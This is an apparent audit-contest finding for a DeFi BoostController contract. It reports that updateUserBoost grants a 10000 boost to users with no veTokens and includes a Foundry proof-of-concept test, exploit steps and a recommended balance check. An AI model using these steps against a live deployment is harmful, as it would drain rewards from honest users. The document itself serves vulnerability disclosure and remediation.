Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

User can fraudulently increase their boost amount without holding any veTokens

[H-1] User can fraudulently increase their boost amount without holding any veTokens

Summary

There's a ulnerability in the BoostController contract that allows an attacker to fraudulently increase their boost amount without holding any veTokens. The exploit takes advantage of improper validation in the BoostController::updateUserBoost function, leading to an unintended boost allocation.

Vulnerability Details

The function BoostController::_calculateBoost(user, pool, 10000) does not verify whether the user actually holds any veTokens before assigning a new boost. This allows an attacker to gain a fraudulent boost amount of 10000 even with zero veTokens.

Impact

  • Unauthorized increase in user boost values.

  • Inflation of pool boost values leading to unfair rewards distribution.

  • Potential financial loss due to an attacker receiving undeserved incentives.

Proof of concept

Steps to Exploit:

  1. Attacker initializes with zero veTokens.

  2. Calls BoostContract::updateUserBoost(attacker, pool);

  3. The function assigns an unjustified boost of 10000.

  4. The attacker's boost amount and the pool's total boost are incorrectly updated.

contract BoostExploitTest is Test {
RAACToken raacToken;
veRAACToken veRAACTokenContract;
MockPool pool;
address owner;
BoostController boostContract;
address attacker = address(0xBEEF);
address public victim;
uint256 constant SWAP_TAX_RATE = 100; // 1%
uint256 constant BURN_TAX_RATE = 50; // 0.5%
function setUp() public {
owner = makeAddr("owner");
victim = makeAddr("vitcim");
vm.startPrank(owner);
raacToken = new RAACToken(owner, SWAP_TAX_RATE, BURN_TAX_RATE);
veRAACTokenContract = new veRAACToken(address(raacToken));
// Deploy BoostExploitPoC contract
boostContract = new BoostController(address(veRAACTokenContract));
pool = new MockPool();
// Add the pool to supported pools
raacToken.setMinter(owner);
boostContract.modifySupportedPool(address(pool), true);
raacToken.mint(attacker, 100 ether);
vm.stopPrank();
}
function testBoostExploit_POC() public {
(
uint256 userAmount,
uint256 userExpiry,
address userDelegatedTo,
uint256 userLastUpdateTime
) = boostContract.getUserBoost(attacker, address(pool));
(
uint256 totalBoost,
uint256 workingSupply,
uint256 baseSupply,
uint256 lastUpdateTime
) = boostContract.getPoolBoost(address(pool));
assertEq(userAmount, 0);
assertEq(totalBoost, 0);
// Call updateUserBoost with attacker (should get 0 boost but will get 10000)
vm.prank(attacker);
boostContract.updateUserBoost(attacker, address(pool));
// Check if attacker's boost was fraudulently increased
(
userAmount,
userExpiry,
userDelegatedTo,
userLastUpdateTime
) = boostContract.getUserBoost(attacker, address(pool));
(totalBoost, workingSupply, baseSupply, lastUpdateTime) = boostContract
.getPoolBoost(address(pool));
// The boost should be 0 but gets set to 10000 due to bug
assertEq(userAmount, 10000);
assertEq(totalBoost, 10000);
}
}

Tools Used

Manual review

Recommendations

  • Proper veToken Balance Check: Before updating the user's boost, ensure that BoostController::_calculateBoost correctly verifies the user's veToken holdings.

Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::updateUserBoost uses hardcoded 10000 base amount, storing basis points instead of actual boosted amount

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::updateUserBoost uses hardcoded 10000 base amount, storing basis points instead of actual boosted amount

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.